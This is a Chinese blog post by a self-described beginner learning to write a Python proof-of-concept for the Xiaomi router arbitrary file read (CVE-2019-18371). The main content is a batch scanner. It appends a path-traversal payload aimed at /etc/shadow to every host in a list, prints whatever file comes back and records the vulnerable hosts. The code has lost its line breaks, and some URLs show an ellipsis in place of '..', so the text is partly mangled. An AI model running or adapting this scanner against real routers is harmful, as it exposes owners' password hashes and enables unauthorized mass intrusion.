Python验证脚本
再也没有留恋的斜阳 人气:0小白尝试写任意文件读取poc
我是一个小白,完全不懂Python,但是Python在渗透中往往是一个重要的角色。
有一个CSDN百万大佬写了这样一句话,不会编程的渗透都是耍流氓。
我虽然菜但是也想尝试学习写一下Python漏洞的poc和exp。
我是在网上找到的学习方法,随便记录一下。尝试写一个批量验证漏洞的poc
发现小米路由器有一个任意文件读取漏洞,学着写了看看
小米路由器远程任意文件读取漏洞
小米路由器远程任意文件读取漏洞(CVE-2019-18371)
小米路由器的Nginx的配置文件错误,导致目录穿越漏洞实现任意文件读取。
可通过访问http://domain.cn/xxx…/etc/passwd实现目录穿越访问上级目录及其子目录文件。
如访问http://192.168.1.1/api-third-party/download/extdisks…/etc/passwd 便可以读取到passwd文件。
写一个批量验证漏洞的poc
第一步实现域名和payload拼接
已知payload=/api-third-party/download/extdisks…/etc/passwd
域名和payload拼接如下
import requests import time def poc_check(poc): for url in open('xiaomi.txt'): url = url.replace('\n','') poc_url=url+poc print(poc_url) # 把域名和payload拼接成一个完整的域名,然后去请求如果返回200就说明存在漏洞。 if __name__=='__main__': poc_xiaomi='/api-third-party/download/extdisks../etc/shadow' poc_check(poc_xiaomi)
图片如下
拼接好的域名尝试访问,如果返回200代表访问成功说明能读取到文件说明存在漏洞
返回其他的状态码就代表不存在漏洞
完整代码如下:
import requests import time def poc_check(poc): for url in open('xiaomi.txt'): url = url.replace('\n','') poc_url=url+poc # print(poc_url) # 把域名和payload拼接成一个完整的域名,然后去请求如果返回200就说明存在漏洞。 try: print("再也没有留恋的斜阳") print("正在检测:") print(poc_url) poc_data=requests.get(poc_url) if poc_data.status_code==200: print(poc_data.content.decode('utf-8')) with open(r'xiaomivuln.txt','a+') as f: f.write(poc_url+'\n') f.close() except Exception as e: time.sleep(0.1) pass if __name__=='__main__': poc_xiaomi='/api-third-party/download/extdisks../etc/shadow' # poc_xiaomi1='/api-third-party/download/extdisks../etc/passwd' poc_check(poc_xiaomi) # poc_check(poc_xiaomi1)
写完了,我太水了的是照着别人写的
加载全部内容